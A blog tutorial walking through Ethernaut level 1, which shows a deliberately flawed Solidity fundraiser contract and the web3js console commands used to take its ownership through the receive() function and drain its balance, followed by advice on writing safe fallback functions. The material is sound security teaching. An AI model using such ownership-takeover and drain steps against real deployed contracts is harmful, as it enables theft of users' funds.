Ethernaut - Lvl 1: Fallback
Tags: ethernaut, security, solidity, tutorial
Published: 2023-05-28 02:10:58

###### _Requirements: basic knowledged of smart contracts and how to interact with the ABI of a smart contract using web3js._

## The contract 📑

Given the following contract: 

```solidity

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
```

Claim ownership and drain the balance.

### Inspecting the contract 🕵️‍♀️🕵️

`Fallback.sol` is a fundraiser, to become a contributor users must pledge ether to the contract.

The balance in the contract can only be withdrawn by the `owner`.

State variables:
- `contributions`: this mapping keep tracks of the amount pledge by contributor.
- `owner`: address of the current owner of the contract.

Functions:
- `constructor`: initializes `msg.sender` as `owner` and set the contribution of the deployer as `1000 ether`.
- `modifier onlyOwner`: access control to prevent unauthorized accounts from calling the `withdraw` method.
- `contribute`: method to pledge ether.
- `getContribution`: reads the contribution of `msg.sender`.
- `withdraw`: withdraws the entire balance in the contract. Only callable by `owner`.
- `receive`: special function that enables the contract to receive ether.

## Hacking `Fallback.sol` 👩‍💻👨‍💻

Upon closer inspection, there are two ways to claim the ownership:
1. Through the `contribute` method:

```solidity
function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}
```

By calling this function we can pledge an amount of ETH, and if the total pledged by us is greater than the `contributions` of the `owner` we claimed the ownership.

That sounds pretty straightforward, the drawback is that when the contract was deployed, the `constructor` set the `contributions` of the `owner` as 1000 ETH 😵. 

```solidity
constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
}
```

I don't own an amount of test ether close to 1000 and surely you don't either. We need to try another option to hack this contract.

2. Through the `receive` function:

```solidity
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}
```
`receive` (a variation of the `fallback`) is a special function in Solidity. This function is executed when the contract receives ether with an empty `calldata`. For a `receive` function to handle transfer of ether it MUST be marked as `payable`, otherwise the transaction will revert.

To claim ownership we need to pass the conditions in the `require` function -- sending an amount of ether greater than zero and have previously contributed to the contract.

Now we that we know how to claim ownership, we could write a contract to expoit `Fallback.sol` but is not necessary, we will hack the contract interacting with the ABI using `web3js`.

Request a new instance of the level.

Check the current owner of the contract:
```solidity
 await contract.owner() // in my case it returned '0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'
```
We need to replace that address with ours.

First we need to contribute some ether to the contract, run the following command in your console:

```solidity
await contract.contribute.sendTransaction({value: toWei("0.0009")})
```
Let me quickly explain this command -- as explained in the Lvl 0, the contract object has an ABI that is made of the methods of the contract. In this case from the `contract` we will call the `contribute` method, but the methods also have their own. `sendTransaction` is a method that allow us to create a transaction with a set of `options` (e.g. to, from, data, value, etc...). From the avaliable options we are mostly concerned with the `value` in which we can specify the amount of ether (a.k.a `msg.value`) we want to send in the transaction.

In Solidity we don't work with decimals and at the smart contract level ether is handle in wei which is the smallest unit of ether (1 ether = 1000000000000000000 wei or 10 ** 18). 

To transform the `value` from ether to wei we use `toWei("0.0009")`.

Let's verify our contribution after the transactions is mined:
```solidity
await contract.getContribution().then(contribution => contribution.toString()) // 900000000000000 wei
```
Good! it returned the correct amount represented in wei.

Now that we have contributed to the contract, we can send a plain transaction to trigger the `receive` function to become the owners, run the following command in your console:

```solidity
await sendTransaction({from: player, to: contract.address, value: toWei("0.0005")})
```
Now let's check the address that owns the contract:

```solidity
await contract.owner() // should return your address
```
Yes! 😎 we just claimed ownership of the contract.

Before putting the last nail in the coffin, let's verify the current balance in the contract:

```solidity
await getBalance(contract.address).then(bal => bal.toString()) // 0.0014 ether
``` 

Ok, let's drain the balance of the contract, run this command:
```solidity
await contract.withdraw()
```

After the trasansaction is mined check again the balance of the contract and it should be zero. 

Submit the instance to complete this level.

## Conclusion ✔️

This contract poorly implemented a `fallback` function without any kind of safeguards (i.e. conditional requirement) making the contract exploitable by anyone and putting in risk its entire balance. 

When implementing a `fallback` function in your contract try to use it these ways:
- Keep the logic inside simple.
- Be careful when implementing logic that modify state (ownership change, balances updates, support to low level calls).
- Use it mostly to emit payment events to the transaction log.
- Check simple conditional requirements.

## Further reading 📚
- [Solidity Tutorial: All About Ether Units](https://medium.com/better-programming/solidity-tutorial-all-about-ether-units-eaebe55dd4dc)
- Special Functions - [Solidity docs](https://blog.soliditylang.org/2020/03/26/fallback-receive-split/)
- [Solidity 0.6.x features: fallback and receive functions](https://blog.soliditylang.org/2020/03/26/fallback-receive-split/)